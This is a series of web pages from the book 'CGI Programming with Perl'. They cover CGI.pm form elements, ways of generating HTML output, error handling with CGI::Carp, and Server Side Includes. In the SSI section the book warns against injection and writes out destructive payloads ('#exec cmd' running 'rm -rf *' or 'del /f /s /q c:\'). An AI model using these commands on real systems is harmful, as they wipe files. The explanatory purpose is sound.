  <TR>
    <TD>Sue</TD>
    <TD>26</TD>
  </TR>
</TABLE>

  • Aside from the spaces we mentioned above that are introduced between array elements, CGI.pm does not insert any whitespace between HTML elements. It creates no indentation and inserts no new lines. Although this makes it harder for a human to read, it also makes the output smaller and downloads faster. If you wish to generate neatly formatted HTML code, you can use the CGI::Pretty module distributed with CGI.pm. It provides all of the features of CGI.pm (because it is an object-oriented module that extends CGI.pm), but the HTML it produces is neatly indented.

5.3.4. Form Elements

The syntax for generating form elements differs from other elements. These methods only take name-value pairs that correspond to the attributes. See Table 5-2.

Table 5-2. CGI.pm Methods for HTML Form Elements

CGI.pm Method | HTML Tag
start_form | <FORM>
end_form | </FORM>
textfield | <INPUT TYPE="TEXT" >
password_field | <INPUT TYPE="PASSWORD" >
filefield | <INPUT TYPE="FILE" >
button | <INPUT TYPE="BUTTON" >
submit | <INPUT TYPE="SUBMIT" >
reset | <INPUT TYPE="RESET" >
checkbox, checkbox_group | <INPUT TYPE="CHECKBOX" >
radio_group | <INPUT TYPE="RADIO" >
popup_menu | <SELECT SIZE="1" >
scrolling_list | <SELECT SIZE="n" > where n > 1
textarea | <TEXTAREA>
hidden | <INPUT TYPE="HIDDEN" >

The start_form and end_form elements generate the opening and closing form tags. start_form takes arguments for each of its attributes:

print $q->start_form( method => "get", action => "/cgi/myscript.cgi" );

Note that unlike a typical form tag, CGI.pm sets the request method to POST instead of GET by default (the reverse of the default for HTML forms). If you want to allow file uploads, use the start_multipart_form method instead of start_form, which sets enctype to "multipart/form-data".

All of the remaining methods create form elements. They all take the -name and -default arguments. The -default value for an element is replaced by the corresponding value from param if that value exists. You can disable this and force the default to override a user's parameters by passing the -override argument with a true value.

The -default option specifies the default value of the element for elements with single values:

print $q->textfield(
        -name    => "username",
        -default => "Anonymous"
      );

This yields:

<INPUT TYPE="text" NAME="username" VALUE="Anonymous">

By supplying an array with the -values argument, the checkbox_group and radio_group methods generate multiple checkboxes that share the same name. Likewise, passing an array reference with the -values argument to the scrolling_list and popup_menu functions generates both the <SELECT> and <OPTION> elements. For these elements, -default indicates the values that are checked or selected; you can pass -default a reference to an array for checkbox_group and scrolling_list for multiple defaults.

Each method accepts a -labels argument that takes a reference to a hash; this hash associates the value of each element to the label the browser displays to the user.

Here is how you can generate a group of radio buttons:

print $q->radio_group(
        -name    => "curtain",
        -values  => [ "A", "B", "C" ],
        -default => "B",
        -labels  => { A => "Curtain A", B => "Curtain B", C => "Curtain C" }
      );

This yields:

<INPUT TYPE="radio" NAME="look_behind" VALUE="A">Curtain A
<INPUT TYPE="radio" NAME="look_behind" VALUE="B" CHECKED>Curtain B
<INPUT TYPE="radio" NAME="look_behind" VALUE="C">Curtain C

For specifying any other attributes for form elements, like SIZE=4, pass them as additional arguments (e.g., size => 4).

Previous | Home | Next
5.2. Handling Input with CGI.pm | Book Index | 5.4. Alternatives for Generating Output
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Alternatives for Generating Output (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

5.4. Alternatives for Generating Output

There are many different ways that people output HTML from their CGI scripts. We have just looked at how you do this from CGI.pm, and in the next chapter we will look at how we can use HTML templates to keep the HTML separate from the code. However, let's look here at a couple of other techniques developers use to output HTML from their scripts.

One thing to keep in mind as we look at these techniques is how difficult the HTML is to maintain. Over the lifetime of a CGI application, it is often the HTML that changes the most. Thus much of the maintenance of the application will involve making changes to the design or wording found in the HTML, so the HTML should be easy to edit.

5.4.1. Lots of print Statements

The simplest solution for including HTML in the source code is the hardest to maintain. Many web developers start out writing CGI scripts that contain numerous print statements to return documents, even for large sections of static content -- content that remains the same each time the CGI script is called.

Here is an example:

#!/usr/bin/perl -wT

use strict;

my $timestamp = localtime;

print "Content-type: text/html\n\n";
print "<html>\n";
print "<head>\n";
print "<title>The Time</title>\n";
print "</head>\n";

print "<body bgcolor=\"#ffffff\">\n";
print "<h2>Current Time</h2>\n";
print "<hr>\n";
print "<p>The current time according to this system is: \n";
print "<b>$timestamp</b>\n";
print "</p>\n";
print "</body>\n";
print "</html>\n";

This is a pretty basic example, but you could imagine just how complicated this can get on a large web page with numerous graphics, nested tables, style declarations, etc. Not only is this difficult to read because of the extra noise that each print statement adds, but each double quote in the HTML must be escaped with a backslash. If you forget to do this even once, you will likely generate a syntax error. Making HTML edits to something that looks like this is much more work than it should be. You should definitely avoid this approach in your scripts.

5.4.2. Here Documents

As we have seen in earlier examples, Perl supports a feature called here documents that allows you to express a large block of content separately within your code. To create a here document, simply use << followed by the token that will be used to indicate the end of the here document. You can include the token in single or double quotes, and the content will be evaluated as if it were a string within those quotes. In other words, if you use single quotes, variables will not be interpreted. If you omit the quotes, it acts as though you had used double quotes.

Here is the previous example using a here document instead:

#!/usr/bin/perl -wT

use strict;
use CGI;

my $timestamp = localtime;

print <<END_OF_MESSAGE;
Content-type: text/html

<html>
  <head>
    <title>The Time</title>
  </head>

  <body bgcolor="#ffffff">
    <h2>Current Time</h2>
    <hr>
    <p>The current time according to this system is:
    <b>$timestamp</b></p>
  </body>
</html>
END_OF_MESSAGE

This is much cleaner than using lots of print statements, and it allows us to indent the HTML content. The result is that this is much easier to read and to update. You could have accomplished something similar by using one print statement and putting all the content inside one pair of double quotes, but then you would have had to precede each double quote in the HTML with a backslash, and for complicated HTML documents this could get tedious.

Another solution is to use Perl's qq// operator, but with a different delimiter, such as ~. You must find a delimiter that will not appear in the HTML, and remember that if your content includes JavaScript, it can include many characters that HTML might otherwise not. here documents are generally a safer solution.

One drawback to using here documents is that they do not easily indent, so they may look odd inside blocks of otherwise cleanly indented code. Tom Christiansen and Nathan Torkington address this issue in the Perl Cookbook (O'Reilly & Associates, Inc.). The following solutions are adapted from their discussion.

If you do not care about extra leading whitespace in your HTML output, you can simply indent everything. You can also indent the ending token if you use quotes and include the indent in the name (although this is more readable, it may be less maintainable because if the indentation changes, then you must adjust the name of the token to match):

#!/usr/bin/perl -wT

use strict;
use CGI;

my $timestamp = localtime;
display_document( $timestamp );

sub display_document {
    my $timestamp = shift;

    print <<"    END_OF_MESSAGE";
      Content-type: text/html

      <html>
        <head>
          <title>The Time</title>
        </head>

        <body bgcolor="#ffffff">
          <h2>Current Time</h2>
          <hr>
          <p>The current time according to this system is:
          <b>$timestamp</b></p>
        </body>
      </html>
    END_OF_MESSAGE
}

One problem with indenting HTML here documents is that the extra indentation is sent to the client. You can solve this problem by creating a function that "unindents" your text. If you wish to remove all indentation, this is simple; if you want to maintain your HTML's indentation, this is more complex. The challenge is determining the amount of indentation to remove: what portion belongs to the content and what part is incidental to your script? You could assume the first line contains the smallest indent, but this would not work if you were only printing the end of an HTML document, for example, when the last line would probably contain the smallest indent.

In the following code the unindent subroutine looks at all of the lines being printed, finds the smallest indent, and removes that amount from all of the lines:

sub unindent;

sub display_document {
    my $timestamp = shift;

    print unindent <<"    END_OF_MESSAGE";
      Content-type: text/html

      <html>
        <head>
          <title>The Time</title>
        </head>

        <body bgcolor="#ffffff">
          <h2>Current Time</h2>
          <hr>
          <p>The current time according to this system is:
          <b>$timestamp</b></p>
        </body>
      </html>
    END_OF_MESSAGE
}

sub unindent {
    local $_ = shift;
    my( $indent ) = sort /^([ \t]*)\S/gm;
    s/^$indent//gm;
    return $_;
}

Predeclaring the unindent function, as we do on the first line, allows us to omit parentheses when we use it. This solution, of course, increases the amount of work the server must do for each request, so it would not be appropriate on a heavily used server. Also keep in mind that each additional space increases the number of bytes you must transfer and the user must download, so you may actually want to strip all leading whitespace instead. After all, users probably care more about the page downloading faster than how it looks if they view the source code.

Overall, here documents are not a bad solution for large chunks of code, but they do not offer CGI.pm's advantages, especially the ability to have your HTML code verified syntactically. It's much harder to forget to close an HTML tag with CGI.pm than it is with a here document. Also, many times you must build HTML programmatically. For example, you may read records from a database and add a row to a table for each record. In these cases, when you are working with small chunks of HTML, CGI.pm is much easier to work with than here documents.

Using CGI.pm's methods for outputting HTML generates strong reactions in developers. Some love it; others don't. Don't worry if it doesn't match your needs, we will look at a whole class of alternatives in the next chapter.

Previous | Home | Next
5.3. Generating Output with CGI.pm | Book Index | 5.5. Handling Errors
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Handling Errors (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

5.5. Handling Errors

While we are on the subject of handling output, we should also look at handling errors. One of the things that distinguishes an experienced developer from a novice is adequate error handling. Novices expect things to always work as planned; experienced developers have learned otherwise.

5.5.1. Dying Gracefully

The most common method that Perl developers use for handling errors is Perl's built-in die function. Here is an example:

open FILE, $filename or die "Cannot open $filename: $!";

If Perl is unable to open the file specified by $filename, die will print an error message to STDERR and terminate the script. The open function, like most Perl commands that interact with the system, sets $! to the reason for the error if it fails.

Unfortunately, die is not always the best solution for handling errors in your CGI scripts. As you will recall from Chapter 3, "The Common Gateway Interface", output to STDERR is typically sent to the web server's error log, triggering the web server to return a 500 Internal Server Error . This is certainly not a very user-friendly response.

You should determine a policy for handling errors on your site. You may decide that 500 Internal Server Error pages are acceptable for very uncommon system errors like the inability to read or write to files. However, you may decide that you wish to display a formatted HTML page instead with information for users such as alternative actions they can take or who to notify about the problem.

5.5.1.1. Trapping die

It is possible to trap die so that it does not generate a 500 Internal Server Error automatically. This is especially useful because many common third-party modules use die (and variants such as croak) as their manner for responding to errors. If you know that a particular subroutine may call die, you can catch this with an eval block in Perl:

eval {
    dangerous_routine(  );
    1;
} or do {
    error( $q, $@ || "Unknown error" );
};

If dangerous_routine does call die, then eval will catch it, set the special variable $@ to the value of the die message, pass control to the end of the block, and return undef. This allows us to call another subroutine to display our error more gracefully. Note that an eval block will not trap exit.

This works, but it certainly makes your code a lot more complex, and if your CGI script interacts with a lot of subroutines that might die, then you must either place your entire script within an eval block or include lots of these blocks throughout your script.

Fortunately, there is a better way. You may already know that it is possible to create a global signal handler to trap Perl's die and warn functions. This involves some rather advanced Perl; you can find specific information in Programming Perl. Fortunately, we don't have to worry about the specifics, because there is a module that not only does this, but is written specifically for CGI scripts: CGI::Carp.

5.5.2. CGI::Carp

CGI::Carp is not part of the CGI.pm module, but it is also by Lincoln Stein, and it is distributed with CGI.pm (and thus included with the most recent versions of Perl). It does two things: it creates more informative entries in your error log, and it allows you to create a custom error page for fatal calls like die. Simply by using the module, it adds a timestamp and the name of the running CGI script to errors written to the error log by die , warn, carp, croak, and confess. The last three functions are provided by the Carp module (included with Perl) and are often used by module authors.

This still does not stop your web server from displaying 500 Internal Server Error responses for these calls, however. CGI::Carp is most useful when you ask it to trap fatal calls. You can have it display fatal error messages in the browser instead. This is especially helpful during development and debugging. To do this, simply pass the fatalsToBrowser parameter to it when you use the module:

use CGI::Carp qw( fatalsToBrowser );

In a production environment, you may not want users to view your full error information if they encounter an error. Fortunately, you can have CGI::Carp trap errors and display your own custom error message. To do this, you pass CGI::Carp::set_message a reference to a subroutine that takes a single argument and displays the content of a response.

use CGI::Carp qw( fatalsToBrowser );
BEGIN {
    sub carp_error {
        my $error_message = shift;
        my $q = new CGI;
          $q->start_html( "Error" ),
          $q->h1( "Error" ),
          $q->p( "Sorry, the following error has occurred: " );
          $q->p( $q->i( $error_message ) ),
          $q->end_html;
    }
    CGI::Carp::set_message( \&carp_error );
}

We will see how to incorporate this into a more general solution later in Example 5-3.

5.5.3. Error Subroutines

Most of our examples up to now and throughout the book include subroutines or blocks of code for displaying errors. Here is an example:

sub error {
    my( $q, $error_message ) = shift;

    print $q->header( "text/html" ),
          $q->start_html( "Error" ),
          $q->h1( "Error" ),
          $q->p( "Sorry, the following error has occurred: " );
          $q->p( $q->i( $error_message ) ),
          $q->end_html;
    exit;
}

You can call this with a CGI object and a reason for the error. It will output an error page and then exit in order to stop executing your script. Note that we print the HTTP header here. One of the biggest challenges in creating a general solution for catching errors is knowing whether or not to print an HTTP header: if one has already been printed and you print another, it will appear at the top of your error page; if one has not been printed and you do not print one as part of the error message, you will trigger a 500 Internal Server Error instead.

Fortunately, CGI.pm has a feature that will track whether a header has been printed for you already. If you enable this feature, it will only output an HTTP header once per CGI object. Any future calls to header will silently do nothing. You can enable this feature in one of three ways:

  1. You can pass the -unique_headers flag when you load CGI.pm:

    use CGI qw( -unique_headers );

  2. You can set the $CGI::HEADERS_ONCE variable to a true value after you use CGI.pm, but before you create an object:

    use CGI;
$CGI::HEADERS_ONCE = 1;

my $q = new CGI;

  3. Finally, if you know that you always want this feature, you can enable it globally for all of your scripts by setting $HEADERS_ONCE to a true value within your copy of CGI.pm. You can do this just like $POST_MAX and $DISABLE_UPLOADS variables we discussed at the beginning of the chapter. You will find $HEADERS_ONCE is in the same configurable section of CGI.pm:

    # Change this to 1 to suppress redundant HTTP headers
$HEADERS_ONCE = 0;

Although adding subroutines to each of your CGI scripts is certainly an acceptable way to catch errors, it's still not a very general solution. You will probably want to create your own error pages that are customized for your site. Once you start including complex HTML in your subroutines, it will quickly become too difficult to maintain them. If you build error subroutines that output error pages according to your site's template, and then later someone decides they want to change the site's look, you must go back and update all of your subroutines. Clearly, a much better option is to create a general error handler that all of your CGI scripts can access.

5.5.4. Custom Module

It is a good idea to create your own Perl module that's specific to your site. If you host different sites, or have different applications within your site with different looks and feels, you may wish to create a module for each. Within this module, you can place subroutines that you find yourself using across many CGI scripts. These subroutines will vary depending on your site, but one should handle errors.

If you have not created your own Perl module before, don't worry, it's quite simple. Example 5-3 shows a very minimal module.

Example 5-3. CGIBook::Error.pm

#!/usr/bin/perl -wT

package CGIBook::Error;

# Export the error subroutine
use Exporter;
@ISA = "Exporter";
@EXPORT = qw( error );

$VERSION = "0.01";

use strict;
use CGI;
use CGI::Carp qw( fatalsToBrowser );

BEGIN {
    sub carp_error {
        my $error_message = shift;
        my $q = new CGI;
        my $discard_this = $q->header( "text/html" );
        error( $q, $error_message );
    }
    CGI::Carp::set_message( \&carp_error );
}

sub error {
    my( $q, $error_message ) = @_;

    print $q->header( "text/html" ),
          $q->start_html( "Error" ),
          $q->h1( "Error" ),
          $q->p( "Sorry, the following error has occurred: " ),
          $q->p( $q->i( $error_message ) ),
          $q->end_html;
    exit;
}

1;

The only difference between a Perl module and a standard Perl script is that you should save your file with a .pm extension, declare the name of module's package with the package function (this should match the file's name except without the .pm extension and substituting :: for /),[7] and make sure that it returns a true value when evaluated (the reason for the 1; at the bottom).

[7]When determining the package name, the file's name should be relative to a library path in @INC. In our example, we store the file at /usr/lib/perl5/site_perl/5.005/CGIBook/Error.pm. /usr/lib/perl5/site_perl/5.005 is a library directory. Thus, the path to the module relative to the library directory is CGIBook/Error.pm so the package is CGIBook::Error.

It is standard practice to store the version of the module in $VERSION. For the sake of convenience, we also use the Exporter module to export the error subroutine. This allows us to refer to it in our scripts as error instead of CGIBook::Exporter::error. Refer to the Exporter manpage or a primary Perl text, such as Programming Perl, for details on using Exporter.

You have a couple options for saving this file. The simplest solution is to save it within the site_perl directory of your Perl libraries, such as /usr/lib/perl5/site_perl/5.005/CGIBook/Error.pm. The site_perl directory includes modules that are site-specific (i.e., not included in Perl's standard distribution). The paths of your Perl libraries may differ; you can locate them on your system with the following command:

$ perl -e 'print map "$_\n", @INC'

You probably want to create a subdirectory that is unique to your organization, as we did with CGIBook, to hold all the Perl modules you create.

You can use the module as follows:

#!/usr/bin/perl -wT

use strict;
use CGI;
use CGIBook::Error;

my $q = new CGI;

unless ( check_something_important(  ) ) {
    error( $q, "Something bad happened." );
}

If you do not have the permission to install the module in your Perl library directory, and if you cannot get your system administrator to do it, then you can place the module in another location, for example, /usr/local/apache/perl-lib/CGIBook/Error.pm. Then you must remember to include this directory in the list that Perl searches for modules. The simplest way to do this is with the lib pragma:

#!/usr/bin/perl -wT

use strict;
use lib "/usr/local/apache/perl-lib";

use CGI;
use CGIBook::Error;
.
.
.
Previous | Home | Next
5.4. Alternatives for Generating Output | Book Index | 6. HTML Templates
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


HTML Templates (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 6. HTML Templates

Contents:

Reasons for Using Templates
Server Side Includes
HTML::Template
Embperl
Mason

The CGI.pm module makes it much easier to produce HTML code from CGI scripts written in Perl. If your goal is to produce self-contained CGI applications that include both the program logic and the interface (HTML), then CGI.pm is certainly the best tool for this. It excels for distributable applications because you do not need to distribute separate HTML files, and it's easy for developers to follow when reading through code. For this reason, we use it in the majority of the examples in this book. However, in some circumstances, there are good reasons for separating the interface from the program logic. In these circumstances, templates may be a better solution.

6.1. Reasons for Using Templates

HTML design and CGI development involve very different skill sets. Good HTML design is typically done by artists or designers in collaboration with marketing folks and people skilled in interface design. CGI development may also involve input from others, but it is very technical in nature. Therefore, CGI developers are often not responsible for creating the interface to their applications. In fact, sometimes they are given non-functional prototypes and asked to provide the logic to drive it. In this scenario, the HTML is already available and translating it into code involves extra work.

Additionally, CGI applications rarely remain static; they require maintenance. Inevitably, bugs are found and fixed, new features are added, the wording is changed, or the site is redesigned with a new color scheme. These changes can involve either the program logic or the interface, but interface changes are often the most common and the most time consuming. Making specific changes to an existing HTML file is generally easier than modifying a CGI script, and many organizations have more people who understand HTML than who understand Perl.

There are many different ways to use HTML templates, and it is very common for web developers to create their own custom solutions. However, the many various solutions can be grouped into a few different approaches. In this chapter, we'll explore each approach by looking at the most powerful and popular solutions for each.

6.1.1. Rolling Your Own

One thing we won't do in this chapter is present a novel template parser or explain how to write your own. The reason is that there are already too many good solutions to warrant this. Of the many web developers out there who have created their own proprietary systems for handling templates, most turn to something else after some time. In fact, one of your authors has experience doing just this.

The first custom template system I developed was like SSI but with control structures added as well as the ability to nest multiple commands in parentheses (commands resembled Excel functions). The template commands were simple, powerful, and efficient, but the underlying code was complicated and difficult to maintain, so at one point I started over. My second solution included a hand-coded, recursive descent parser and an object-oriented, JavaScript-like syntax that was easily extended in Perl. My thinking was that many HTML authors were comfortable with JavaScript already. I was rather proud of it when it was finished, but after a few months of using it, I realized I had created an over-engineered, proprietary solution, and I ported the project to Embperl.

In both of my attempts, I realized the solutions were not worth the effort required to maintain them. In the second case, the code was very maintainable, but even minor maintenance did not seem worth the effort given the high-quality, open source alternatives that are already tested, maintained, and available for all to use. More importantly, custom solutions require other developers and HTML authors to invest time learning systems that they would never encounter elsewhere. No one told me I had to choose a standard solution over a proprietary one, but I discovered the advantages on my own. Sometimes ego must yield to practicality.

So consider the options that are already available and avoid the urge to reinvent the wheel. If you need a particular feature that is not available in another package, consider extending an existing open source solution and give your code back if you think it will benefit others. Of course, in the end what you do is up to you, and you may have a good reason for creating your own solution. You could even point out that none of the solutions presented in this chapter would exist if a few people hadn't decided they should create their own respective solutions, maintain and extend them, and make them available to others.

Previous | Home | Next
5.5. Handling Errors | Book Index | 6.2. Server Side Includes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Server Side Includes (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

6.2. Server Side Includes

Many times we want to create a web page that contains very little dynamic information. It seems like a lot of work to go through the trouble of writing a full-fledged application in order to display a single piece of dynamic information such as the current date and time, file modification time, or the user's IP address, in an otherwise static document. Fortunately, there is a tool included with most web servers called Server Side Includes , or SSI.

SSI allows us to embed special directives in our HTML documents to execute other programs or insert various pieces of data such as environment variables and file statistics. While SSI has technically nothing to do with CGI, it is an important tool for incorporating dynamic information, as well as output from CGI programs, into otherwise static documents, and you should definitely be aware of its abilities and limitations because in some cases it can provide a simpler and more efficient solution than a CGI script.

For example, say you want to have a web page display the last date it was modified. You could create a CGI script to display the file and use Perl's -M operator to determine the age of the file. However, it's much simpler to enable SSI and include the following line:

Last modified: <!--#echo var="LAST_MODIFIED" -->

The terms within the HTML comment are an SSI command. When the browser requests this document from a web server, the server parses it and returns the result (see Figure 6-1). In this case, it replaces the SSI command with a timestamp reflecting the last time this document was modified. The server does not automatically parse all files looking for SSI directives, but only documents that are associated with SSI. We will look at how to configure this in the next section.

NOTE

Note that SSI cannot parse CGI output; it only parses otherwise static HTML files. The new architecture in Apache 2.0 should eventually support SSI parsing of CGI output if the CGI outputs a particular Content-type header. Other web servers do not support this.

Because the SSI engine is compiled into the web server, it is many times more efficient than a CGI script. However, SSI commands are limited and can only handle basic tasks; in one sense this simplicity is good because SSI is very easy to learn. HTML designers with no programming experience can easily add SSI commands to their documents. Later in this chapter we'll see how other template solutions provide more powerful alternatives aimed at developers.

Figure 6-1. Server side includes

6.2.1. Configuration

The server must know which files to parse for SSI commands. We'll see how to configure the Apache web server in this section. If you are using another web server, it should be equally easy to configure; refer to its documentation.

You have the following options with SSI:

  • You may configure the web server to only recognize SSI documents in a particular directory or directories or throughout the entire site.

  • You can configure the web server to parse all HTML documents for SSI commands or just documents with a particular extension (typically .shtml ).

  • You can set whether SSI commands have the ability to execute external programs in order to generate their output. This can be useful, but it can also be a security risk.

To enable SSI for a particular directory or directories, add Includes as an option in each directory. If you wish to enable SSI throughout your web site for all files ending in .shtml, then add the following to httpd.conf (or access.conf if used):

<Location />
...
Options     Includes
AddHandler  server-parsed .shtml
...
</Location>

Note that your configuration files probably have other lines between the <Location /> and </Location> tags as well as other entries for Options; you can leave these as they are.

You are not restricted to using the .shtml extension; you can have the server parse all HTML documents with this directive:

AddHandler server-parsed .html

However, you should do this only if all of your pages are dynamic because parsing each HTML document increases the amount of work the web server must do and reduces performance.

You should also add the following lines to httpd.conf outside any Location or Directory tags (or srm.conf, if used):

DirectoryIndex   index.html index.shtml
AddType          text/html     .shtml

The DirectoryIndex directive tells the server that if the URL refers to a directory and that directory contains index.shtml, then it should display it if index.html is not found. The AddType server directive tells the server that the media type of parsed files is HTML instead of the default, which is typically plain text.

We'll look at the syntax of SSI commands in a moment, but one particular SSI command, exec, allows you to execute external applications and include the output in your document. You may not wish to enable this for security reasons; you may not wish to give HTML authors the same level of trust in this regard that you give to CGI developers. Also, if you do enable exec and you have a CGI script on your site that creates static HTML files from users' input (as some popular guestbook and message board CGI scripts do), make sure that SSI is not enabled for files created by this CGI script. If someone using this CGI script enters the following and SSI tags are not removed by the CGI application, then their malicious command will be executed the first time their comment is read:

<!--#exec cmd="/bin/rm -rf *" -->

This would remove all the files from all the directories the server can write to. The following could be just as disastrous on a Windows server:

<!--#exec cmd="del /f /s /q c:\" -->

Most CGI scripts that generate files such as this create them with a .html extension, so you would not want to enable exec and configure the web server to parse all .html files. Note that this is not as much of a concern if CGI scripts are not allowed to generate .html files.

To enable SSI without enabling the exec tag, use the following option instead of Includes:

Options     IncludesNoExec

Older versions of Apache and other web servers actually required that the CGI script execution also be enabled in order to use the exec command:

Options     Includes ExecCGI

As you'll recall from Chapter 1, "Getting Started ", there are good reasons to restrict CGI scripts to particular directories. Previously you had to choose between enabling CGI script execution and disallowing the exec command. Fortunately, this restriction has been lifted: you can now enable the exec command while disallowing CGI execution.

6.2.2. Format

Now let's see what SSI can do for us. All SSI directives have the following syntax:

<!--#element attribute="value" attribute="value" ... -->

Table 6-1 lists the available SSI commands. In this chapter, we will discuss each of these directives in detail.

Table 6-1. Server Side Include Commands

Element | Attribute | Description
echo | var | Displays the value of environment variables, special SSI variables and any user-defined variables.
include |  | Inserts the contents of a particular file into the current document
 | file | Path of the file relative to the current directory, you cannot use an absolute path or reference files outside the document root; the file contents are included directly into the page with no additional processing.
 | virtual | Virtual path (URL) relative to the document root; the server interprets the path just as if it were another HTTP request, so you can use this attribute to insert the results of a CGI program or another SSI document.
fsize |  | Inserts the size of a file.
 | file | Path of the file relative to the current directory.
 | virtual | Virtual path (URL) relative to the document root.
flastmod | file | Inserts the last modification date and time for a specified file.
exec |  | Executes external programs and inserts the output in current document (unless SSI has been configured with IncludesNoExec).
 | cmd | Path to any executable application relative to the current directory.
 | cgi | Virtual path to a CGI program; however, you cannot pass a query string -- if you want to pass a query string, use #include virtual="..." instead.
printenv |  | Displays a list of environment variables and their values.
set | var | Sets the value for a new or existing environment variable; the variable only lasts throughout the current request (but it is available to CGI scripts or other SSI documents included in this document).
if, elif | expr | Starts conditional.
else |  | Starts the "else" part of the conditional.
endif |  | Ends conditional.
config |  | Modifies various aspects of SSI.
 | errmsg | Default error message.
 | sizefmt | Format for size of the file.
 | timefmt | Format for date and time.

6.2.3. Environment Variables

You can insert the values of environment variables in an otherwise static HTML document. Here is an example of a document that will contain the server name, the user's remote host, and the current local date and time:

<HTML>
<HEAD>
    <TITLE>Welcome!</TITLE>
</HEAD>
<BODY>
<H1>Welcome to my server at <!--#echo var="SERVER_NAME"-->...</H1>
<HR>
Dear user from <!--#echo var="REMOTE_HOST"-->,
<P>
There are many links to various CGI documents throughout the Web,
so feel free to explore.
<P>
<HR>
<ADDRESS>Webmaster (<!--#echo var="DATE_LOCAL"-->)</ADDRESS>
</BODY>
</HTML>

In this example, we use the echo SSI command with the var attribute to display the IP name or address of the serving machine, the remote host name, and the local time. All environment variables that are available to CGI programs are also available to SSI directives. There are also a few variables that are exclusively available for use in SSI directives, such as DATE_LOCAL, which contains the current local time. Another is DATE_GMT, which contains the time in Greenwich Mean Time:

The current GMT time is: <!--#echo var="DATE_GMT" -->

Here is another example that uses some of these exclusive SSI environment variables to output information about the current document:

<H2>File Summary</H2>
<HR>
The document you are viewing is:  <!--#echo var="DOCUMENT_NAME"-->,
which you can access it a later time by opening the URL to:
<!--#echo var="DOCUMENT_URI"-->.
<HR>
Document last modified on <!--#echo var="LAST_MODIFIED"-->.

This will display the name, URL, and modification time for the current HTML document.

For a listing of CGI environment variables, refer to Chapter 3, "The Common Gateway Interface". Table 6-2 shows the additional variables available to SSI pages.

Table 6-2. Additional Variables Available to SSI Pages

Environment Variable | Description
DOCUMENT_NAME | The current filename
DOCUMENT_URI | Virtual path to the file
QUERY_STRING_UNESCAPED | Unencoded query string with all shell metacharacters escaped with "\"
DATE_LOCAL | Current date and time in the local time zone
DATE_GMT | Current date and time in GMT
LAST_MODIFIED | Last modification date and time for the file requested by the browser

6.2.4. Tailoring SSI Output

The config command allows you to select the manner in which error messages, file size information, and date and time are displayed. For example, if you use the include command to insert a nonexisting file, the server will output a default error message like the following:

[an error occurred while processing this directive]

By using the config command, you can modify the default error message. If you want to set the message to "[error-contact webmaster]" you can use the following:

<!--#config errmsg="[error-contact webmaster]" -->

You can also set the file size format that the server uses when displaying information with the fsize command. For example, this command:

<!--#config sizefmt="abbrev" -->

will force the server to display the file size rounded to the nearest kilobyte (KB) or megabyte (MB). You can use the argument "bytes" to set the display as a byte count:

<!--#config sizefmt="bytes" -->

Here is how you can change the time format:

<!--#config timefmt="%D (day %j) at %r" -->
My signature was last modified on:
<!--#flastmod virtual="/address.html"-->.

The output will look like this:

My signature was last modified on: 09/22/97 (day 265) at 07:17:39 PM

The %D format inserts the current date in mm/dd/yy format, %j inserts the day of the year, and %r the current time in hh/mm/ss AM|PM format. Table 6-3 lists all the data and time formats you can use.

Table 6-3. Time and Date Formats

Format | Value | Example
%a | Day of the week abbreviation | Sun
%A | Day of the week | Sunday
%b | Month name abbreviation | Jan
%B | Month name | January
%d | Date | 01 (not 1)
%D | Date as %m/%d/%y | 06/23/95
%e | Date | 1
%H | 24-hour clock hour | 13
%I | 12-hour clock hour | 01
%j | Decimal day of the year | 360
%m | Month number | 11
%M | Minutes | 08
%p | AM | PM | AM
%r | Time as %I:%M:%S %p | 07:17:39 PM
%S | Seconds | 09
%T | 24-hour time as %H:%M:%S | 16:55:15
%U | Week of the year (also %W) | 49
%w | Day of the week number | 5
%y | Year of the century | 95
%Y | Year | 1995
%Z | Time zone | EST

6.2.5. Including Boilerplates

There are times when you will have certain information that you repeat in numerous documents on the server such as a copyright notice, the webmaster's email address, etc. Instead of maintaining this information separately in each file, you can include one file that has all of this information. It is much easier to update a single file if this information changes (for example, you may need to update the copyright notice the beginning of next year). Example 6-1 shows an example of such a file that itself contains SSI commands (note the .shtml extension).

Example 6-1. footer.shtml

<HR>
<P><FONT SIZE="-1">
Copyright 1999-2000 by My Company, Inc.<BR>
Please report any problems to
  <A HREF="mailto:<!--#echo var="SERVER_ADMIN"-->">
  <!--#echo var="SERVER_ADMIN"--></A>.<BR>
This document was last modified on <!--#echo var="LAST_MODIFIED"-->.<BR>
</FONT></P>

It may look messy to include an SSI command within another HTML tag, but don't worry about this being invalid HTML because the web server will parse it before it sends it to the client. Also, you may wonder if we were to include this file in another file which file the server uses to determine the LAST_MODIFIED variable. LAST_MODIFIED is set once by the server for the file that the client requested. If that file includes other files, such as footer.shtml, LAST_MODIFIED will still refer to the original file; so this footer will do what we want.

Because included files are not complete HTML documents (they have no <HTML>, <HEAD>, or <BODY> tags), it can be easier to maintain these files if you differentiate them by creating a standard extension for them or keeping them in a particular directory. In our example we'll create a folder called /includes in the document root and place footer.shtml here. We can then include the file by adding the following line to other .shtml files:

<!--#include virtual="/includes/footer.shtml" -->

This SSI command will be replaced with a footer containing a copyright notice, the email address of the server administrator, and the modification date of the file requested.

You can also use the file attribute instead of virtual to reference the file, but file has limitations. You cannot use absolute paths, the web server does no processing on the requested file (e.g., for CGI scripts or other SSI commands), and you may not reference files outside the document root. This last restriction prevents someone from including a file like /etc/passwd in an HTML document (since it's possible that someone is able to upload files to a server without otherwise having access to this file). Given these restrictions, it's typically easier to simply use virtual.

6.2.6. Executing CGI Programs

You can use Server Side Includes to embed the results of an entire CGI program into a static HTML document by using either exec cgi or include virtual . This is convenient for those times when you want to display just one piece of dynamic data, such as:

This page has been accessed 9387 times.

Let's look at an example of inserting output from CGI programs. Suppose you have a simple CGI program that keeps track of the number of visitors, called using the include SSI command in an HTML document:

This page has been accessed
<!--#include virtual="/cgi/counter.cgi"--> times.

